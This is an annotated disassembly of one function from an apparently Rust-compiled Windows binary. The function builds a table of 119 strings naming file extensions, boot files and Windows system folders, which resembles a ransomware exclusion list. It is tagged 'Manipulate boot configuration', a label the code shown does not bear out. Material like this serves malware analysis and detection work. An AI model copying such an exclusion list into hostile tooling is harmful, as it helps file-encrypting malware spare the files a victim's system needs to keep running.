Function at 0x1400169d0
Capabilities:
Manipulate boot configuration

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [str.1__]
movzx eax, byte [rax]
mov ecx, 0x770
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140017584
lea rcx, str..exe.EXE.DLL.ini.inf.pol.cmd.ps1.vbs.bat.pagefile.sys.hiberfil.sys.drv.msc.dll.lock.sys.msu.lnk.search_ms_Windows.WS_windows.ws_WINDOWS.WS_windows.bt_Windows.BT_WINDOWS.BTWindows.oldNTUSER.DAT_ntuser.dat_autorun.inf_boot.inidesktop.ini_system_volume_informationBootDumpStack.log.tmpPerfLogsUsersMicrosoft_Corporation.configAppDataLocalMicrosoftGameDVRAppDataLocalPackagesMicrosoft.AppDataLocalPackagesMicrosoftWindows.AppDataLocalPackagesInternet_ExplorerAppDataLocalTempProgram_FilesCommon_Filesmicrosoft_sharedProgram_FilesCommon_FilesServicesProgram_FilesCommon_FilesSystemProgram_FilesInternet_ExplorerProgram_FilesModifiableWindowsAppsProgram_FilesUninstall_InformationProgram_FilesWindows_DefenderProgram_FilesWindows_MailProgram_FilesWindows_Media_PlayerProgram_FilesWindows_NTProgram_FilesWindows_Photo_ViewerProgram_FilesWindows_Portable_DevicesProgram_FilesWindows_SecurityProgram_FilesWindows_SidebarProgram_FilesWindowsAppsProgram_FilesWindowsPowerShellProgram_Files__x86_Common_FilesProgram_Files__x86_Common_FilesMicrosoft_SharedProgram_Files__x86_Common_FilesServicesProgram_Files__x86_Common_FilesSystemProgram_Files__x86_Internet_ExplorerProgram_Files__x86_MicrosoftEdgeProgram_Files__x86_MicrosoftTempProgram_Files__x86_Microsoft.NETProgram_Files__x86_Windows_DefenderProgram_Files__x86_Windows_MailProgram_Files__x86_Windows_Media_PlayerProgram_Files__x86_Windows_Multimedia_PlatformProgram_Files__x86_Windows_NTProgram_Files__x86_Windows_Photo_ViewerProgram_Files__x86_Windows_Portable_DevicesProgram_Files__x86_Windows_SecurityProgram_Files__x86_Windows_SidebarProgram_Files__x86_WindowsPowerShellProgramData_sshProgramData_ntuser.polProgramData_regid..com.microsoftProgramDataUSOPrivateProgramDataUSOSharedProgramDataMicrosoftUEVProgramDataMicrosoftDevice_StageProgramDataMicrosoftDeviceSyncProgramDataMicrosoftDiagnosisProgramDataMicrosoftDiagnosticLogCSPProgramDataMicrosoftDRMProgramDataMicrosoftEdgeUpdateProgramDataMicrosoftEvent_ViewerProgramDataMicrosoftIdentityCRLProgramDataMicrosoftMapDataProgramDataMicrosoftMFProgramDataMicrosoftNetFrameworkProgramDataMicrosoftNetworkProgramDataMicrosoftProvisioningProgramDataMicrosoftSearchProgramDataMicrosoftSmsRouterProgramDataMicrosoftSpectrumProgramDataMicrosoftSpeech_OneCoreProgramDataMicrosoftStorage_HealthProgramDataMicrosoftUser_Account_PicturesProgramDataMicrosoftVaultProgramDataMicrosoftWDFProgramDataMicrosoftWindowsProgramDataMicrosoftWindows_DefenderProgramDataMicrosoftWindows_NTProgramDataMicrosoftWindows_Security_HealthProgramDataMicrosoftWinMSIPCProgramDataMicrosoftWPDProgramDataMicrosoftCryptoRSAMachineKeysProgramDataMicrosoftServerManagerEventsFileServer.Events.xmlProgramDataPackagesUSOPrivateProgramDataPackagesWindowsHolographicDevicesProgramDataPackagesUSOSharedProgramDataPackagesMicrosoftWindows.ProgramDataPackagesMicrosoft.WindowsAll_UsersMicrosoftAppDataLocal
mov qword [rax], rcx
mov qword [rax + 8], 5
lea rcx, [0x1401ef595]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 5
lea rcx, [0x1401ef59a]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], 5
lea rcx, [0x1401ef59f]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], 5
lea rcx, [0x1401ef5a4]
mov qword [rax + 0x40], rcx
mov qword [rax + 0x48], 5
lea rcx, [0x1401ef5a9]
mov qword [rax + 0x50], rcx
mov qword [rax + 0x58], 5
lea rcx, [0x1401ef5ae]
mov qword [rax + 0x60], rcx
mov qword [rax + 0x68], 5
lea rcx, [0x1401ef5b3]
mov qword [rax + 0x70], rcx
mov qword [rax + 0x78], 5
lea rcx, [0x1401ef5b8]
mov qword [rax + 0x80], rcx
mov qword [rax + 0x88], 5
lea rcx, [0x1401ef5bd]
mov qword [rax + 0x90], rcx
mov qword [rax + 0x98], 5
lea rcx, [0x1401ef5c2]
mov qword [rax + 0xa0], rcx
mov qword [rax + 0xa8], 0xe
lea rcx, [0x1401ef5d0]
mov qword [rax + 0xb0], rcx
mov qword [rax + 0xb8], 0xe
lea rcx, [0x1401ef5de]
mov qword [rax + 0xc0], rcx
mov qword [rax + 0xc8], 5
lea rcx, [0x1401ef5e3]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], 5
lea rcx, [0x1401ef5e8]
mov qword [rax + 0xe0], rcx
mov qword [rax + 0xe8], 5
lea rcx, [0x1401ef5ed]
mov qword [rax + 0xf0], rcx
mov qword [rax + 0xf8], 6
lea rcx, [0x1401ef5f3]
mov qword [rax + 0x100], rcx
mov qword [rax + 0x108], 5
lea rcx, [0x1401ef5f8]
mov qword [rax + 0x110], rcx
mov qword [rax + 0x118], 5
lea rcx, [0x1401ef5fd]
mov qword [rax + 0x120], rcx
mov qword [rax + 0x128], 5
lea rcx, [0x1401ef602]
mov qword [rax + 0x130], rcx
mov qword [rax + 0x138], 0xb
lea rcx, [0x1401ef60d]
mov qword [rax + 0x140], rcx
mov qword [rax + 0x148], 0xf
lea rcx, [0x1401ef61c]
mov qword [rax + 0x150], rcx
mov qword [rax + 0x158], 0xf
lea rcx, [0x1401ef62b]
mov qword [rax + 0x160], rcx
mov qword [rax + 0x168], 0xf
lea rcx, [0x1401ef63a]
mov qword [rax + 0x170], rcx
mov qword [rax + 0x178], 0xf
lea rcx, [0x1401ef649]
mov qword [rax + 0x180], rcx
mov qword [rax + 0x188], 0xf
lea rcx, [0x1401ef658]
mov qword [rax + 0x190], rcx
mov qword [rax + 0x198], 0xf
lea rcx, [0x1401ef667]
mov qword [rax + 0x1a0], rcx
mov qword [rax + 0x1a8], 0xe
lea rcx, [0x1401ef675]
mov qword [rax + 0x1b0], rcx
mov qword [rax + 0x1b8], 0xd
lea rcx, [0x1401ef682]
mov qword [rax + 0x1c0], rcx
mov qword [rax + 0x1c8], 0xd
lea rcx, [0x1401ef68f]
mov qword [rax + 0x1d0], rcx
mov qword [rax + 0x1d8], 0xd
lea rcx, [0x1401ef69c]
mov qword [rax + 0x1e0], rcx
mov qword [rax + 0x1e8], 0xa
lea rcx, [0x1401ef6a6]
mov qword [rax + 0x1f0], rcx
mov qword [rax + 0x1f8], 0xd
lea rcx, [0x1401ef6b3]
mov qword [rax + 0x200], rcx
mov qword [rax + 0x208], 0x1c
lea rcx, [0x1401ef6cf]
mov qword [rax + 0x210], rcx
mov qword [rax + 0x218], 7
lea rcx, [0x1401ef6d6]
mov qword [rax + 0x220], rcx
mov qword [rax + 0x228], 0x13
lea rcx, [0x1401ef6e9]
mov qword [rax + 0x230], rcx
mov qword [rax + 0x238], 0xb
lea rcx, [0x1401ef6f4]
mov qword [rax + 0x240], rcx
mov qword [rax + 0x248], 0x28
lea rcx, [0x1401ef71c]
mov qword [rax + 0x250], rcx
mov qword [rax + 0x258], 0x22
lea rcx, [0x1401ef73e]
mov qword [rax + 0x260], rcx
mov qword [rax + 0x268], 0x24
lea rcx, [0x1401ef762]
mov qword [rax + 0x270], rcx
mov qword [rax + 0x278], 0x2b
lea rcx, [0x1401ef78d]
mov qword [rax + 0x280], rcx
mov qword [rax + 0x288], 0x2b
lea rcx, [0x1401ef7b8]
mov qword [rax + 0x290], rcx
mov qword [rax + 0x298], 0x15
lea rcx, [0x1401ef7cd]
mov qword [rax + 0x2a0], rcx
mov qword [rax + 0x2a8], 0x2e
lea rcx, [0x1401ef7fb]
mov qword [rax + 0x2b0], rcx
mov qword [rax + 0x2b8], 0x26
lea rcx, [0x1401ef821]
mov qword [rax + 0x2c0], rcx
mov qword [rax + 0x2c8], 0x24
lea rcx, [0x1401ef845]
mov qword [rax + 0x2d0], rcx
mov qword [rax + 0x2d8], 0x22
lea rcx, [0x1401ef867]
mov qword [rax + 0x2e0], rcx
mov qword [rax + 0x2e8], 0x26
lea rcx, [0x1401ef88d]
mov qword [rax + 0x2f0], rcx
mov qword [rax + 0x2f8], 0x26
lea rcx, [0x1401ef8b3]
mov qword [rax + 0x300], rcx
mov qword [rax + 0x308], 0x21
lea rcx, [0x1401ef8d4]
mov qword [rax + 0x310], rcx
mov qword [rax + 0x318], 0x1d
lea rcx, [0x1401ef8f1]
mov qword [rax + 0x320], rcx
mov qword [rax + 0x328], 0x25
lea rcx, [0x1401ef916]
mov qword [rax + 0x330], rcx
mov qword [rax + 0x338], 0x1b
lea rcx, [0x1401ef931]
mov qword [rax + 0x340], rcx
mov qword [rax + 0x348], 0x25
lea rcx, [0x1401ef956]
mov qword [rax + 0x350], rcx
mov qword [rax + 0x358], 0x29
lea rcx, [0x1401ef97f]
mov qword [rax + 0x360], rcx
mov qword [rax + 0x368], 0x21
lea rcx, [0x1401ef9a0]
mov qword [rax + 0x370], rcx
mov qword [rax + 0x378], 0x20
lea rcx, [0x1401ef9c0]
mov qword [rax + 0x380], rcx
mov qword [rax + 0x388], 0x1c
lea rcx, [0x1401ef9dc]
mov qword [rax + 0x390], rcx
mov qword [rax + 0x398], 0x22
lea rcx, [0x1401ef9fe]
mov qword [rax + 0x3a0], rcx
mov qword [rax + 0x3a8], 0x23
lea rcx, [0x1401efa21]
mov qword [rax + 0x3b0], rcx
mov qword [rax + 0x3b8], 0x34
lea rcx, [0x1401efa55]
mov qword [rax + 0x3c0], rcx
mov qword [rax + 0x3c8], 0x2c
lea rcx, [0x1401efa81]
mov qword [rax + 0x3d0], rcx
mov qword [rax + 0x3d8], 0x2a
lea rcx, [0x1401efaab]
mov qword [rax + 0x3e0], rcx
mov qword [rax + 0x3e8], 0x28
lea rcx, [0x1401efad3]
mov qword [rax + 0x3f0], rcx
mov qword [rax + 0x3f8], 0x26
lea rcx, [0x1401efaf9]
mov qword [rax + 0x400], rcx
mov qword [rax + 0x408], 0x25
lea rcx, [0x1401efb1e]
mov qword [rax + 0x410], rcx
mov qword [rax + 0x418], 0x24
lea rcx, [0x1401efb42]
mov qword [rax + 0x420], rcx
mov qword [rax + 0x428], 0x27
lea rcx, [0x1401efb69]
mov qword [rax + 0x430], rcx
mov qword [rax + 0x438], 0x23
lea rcx, [0x1401efb8c]
mov qword [rax + 0x440], rcx
mov qword [rax + 0x448], 0x2b
lea rcx, [0x1401efbb7]
mov qword [rax + 0x450], rcx
mov qword [rax + 0x458], 0x32
lea rcx, [0x1401efbe9]
mov qword [rax + 0x460], rcx
mov qword [rax + 0x468], 0x21
lea rcx, [0x1401efc0a]
mov qword [rax + 0x470], rcx
mov qword [rax + 0x478], 0x2b
lea rcx, [0x1401efc35]
mov qword [rax + 0x480], rcx
mov qword [rax + 0x488], 0x2f
lea rcx, [0x1401efc64]
mov qword [rax + 0x490], rcx
mov qword [rax + 0x498], 0x27
lea rcx, [0x1401efc8b]
mov qword [rax + 0x4a0], rcx
mov qword [rax + 0x4a8], 0x26
lea rcx, [0x1401efcb1]
mov qword [rax + 0x4b0], rcx
mov qword [rax + 0x4b8], 0x28
lea rcx, [0x1401efcd9]
mov qword [rax + 0x4c0], rcx
mov qword [rax + 0x4c8], 0x11
lea rcx, [0x1401efcea]
mov qword [rax + 0x4d0], rcx
mov qword [rax + 0x4d8], 0x18
lea rcx, [0x1401efd02]
mov qword [rax + 0x4e0], rcx
mov qword [rax + 0x4e8], 0x23
lea rcx, [0x1401efd25]
mov qword [rax + 0x4f0], rcx
mov qword [rax + 0x4f8], 0x19
lea rcx, [0x1401efd3e]
mov qword [rax + 0x500], rcx
mov qword [rax + 0x508], 0x18
lea rcx, [0x1401efd56]
mov qword [rax + 0x510], rcx
mov qword [rax + 0x518], 0x1c
lea rcx, [0x1401efd72]
mov qword [rax + 0x520], rcx
mov qword [rax + 0x528], 0x25
lea rcx, [0x1401efd97]
mov qword [rax + 0x530], rcx
mov qword [rax + 0x538], 0x23
lea rcx, [0x1401efdba]
mov qword [rax + 0x540], rcx
mov qword [rax + 0x548], 0x22
lea rcx, [0x1401efddc]
mov qword [rax + 0x550], rcx
mov qword [rax + 0x558], 0x29
lea rcx, [0x1401efe05]
mov qword [rax + 0x560], rcx
mov qword [rax + 0x568], 0x1c
lea rcx, [0x1401efe21]
mov qword [rax + 0x570], rcx
mov qword [rax + 0x578], 0x23
lea rcx, [0x1401efe44]
mov qword [rax + 0x580], rcx
mov qword [rax + 0x588], 0x25
lea rcx, [0x1401efe69]
mov qword [rax + 0x590], rcx
mov qword [rax + 0x598], 0x23
lea rcx, [0x1401efe8c]
mov qword [rax + 0x5a0], rcx
mov qword [rax + 0x5a8], 0x20
lea rcx, [0x1401efeac]
mov qword [rax + 0x5b0], rcx
mov qword [rax + 0x5b8], 0x1b
lea rcx, [0x1401efec7]
mov qword [rax + 0x5c0], rcx
mov qword [rax + 0x5c8], 0x25
lea rcx, [0x1401efeec]
mov qword [rax + 0x5d0], rcx
mov qword [rax + 0x5d8], 0x20
lea rcx, [0x1401eff0c]
mov qword [rax + 0x5e0], rcx
mov qword [rax + 0x5e8], 0x25
lea rcx, [0x1401eff31]
mov qword [rax + 0x5f0], rcx
mov qword [rax + 0x5f8], 0x1f
lea rcx, [0x1401eff50]
mov qword [rax + 0x600], rcx
mov qword [rax + 0x608], 0x22
lea rcx, [0x1401eff72]
mov qword [rax + 0x610], rcx
mov qword [rax + 0x618], 0x21
lea rcx, [0x1401eff93]
mov qword [rax + 0x620], rcx
mov qword [rax + 0x628], 0x27
lea rcx, [0x1401effba]
mov qword [rax + 0x630], rcx
mov qword [rax + 0x638], 0x27
lea rcx, [0x1401effe1]
mov qword [rax + 0x640], rcx
mov qword [rax + 0x648], 0x2e
lea rcx, [0x1401f000f]
mov qword [rax + 0x650], rcx
mov qword [rax + 0x658], 0x1e
lea rcx, [0x1401f002d]
mov qword [rax + 0x660], rcx
mov qword [rax + 0x668], 0x1c
lea rcx, [0x1401f0049]
mov qword [rax + 0x670], rcx
mov qword [rax + 0x678], 0x20
lea rcx, [0x1401f0069]
mov qword [rax + 0x680], rcx
mov qword [rax + 0x688], 0x29
lea rcx, [0x1401f0092]
mov qword [rax + 0x690], rcx
mov qword [rax + 0x698], 0x23
lea rcx, [0x1401f00b5]
mov qword [rax + 0x6a0], rcx
mov qword [rax + 0x6a8], 0x30
lea rcx, [0x1401f00e5]
mov qword [rax + 0x6b0], rcx
mov qword [rax + 0x6b8], 0x21
lea rcx, [0x1401f0106]
mov qword [rax + 0x6c0], rcx
mov qword [rax + 0x6c8], 0x1c
lea rcx, [0x1401f0122]
mov qword [rax + 0x6d0], rcx
mov qword [rax + 0x6d8], 0x30
lea rcx, [0x1401f0152]
mov qword [rax + 0x6e0], rcx
mov qword [rax + 0x6e8], 0x42
lea rcx, [0x1401f0194]
mov qword [rax + 0x6f0], rcx
mov qword [rax + 0x6f8], 0x22
lea rcx, [0x1401f01b6]
mov qword [rax + 0x700], rcx
mov qword [rax + 0x708], 0x31
lea rcx, [0x1401f01e7]
mov qword [rax + 0x710], rcx
mov qword [rax + 0x718], 0x21
lea rcx, [0x1401f0208]
mov qword [rax + 0x720], rcx
mov qword [rax + 0x728], 0x29
lea rcx, [0x1401f0231]
mov qword [rax + 0x730], rcx
mov qword [rax + 0x738], 0x22
lea rcx, [0x1401f0253]
mov qword [rax + 0x740], rcx
mov qword [rax + 0x748], 0xb
lea rcx, [0x1401f025e]
mov qword [rax + 0x750], rcx
mov qword [rax + 0x758], 0x17
lea rcx, [0x1401f0275]
mov qword [rax + 0x760], rcx
mov qword [rax + 0x768], 0x11
mov qword [rsi], rax
mov qword [rsi + 8], 0x77
mov qword [rsi + 0x10], 0x77
mov rax, rsi
add rsp, 0x20
pop rsi
ret
mov ecx, 8
mov edx, 0x770
call dbg.handle_alloc_error
ud2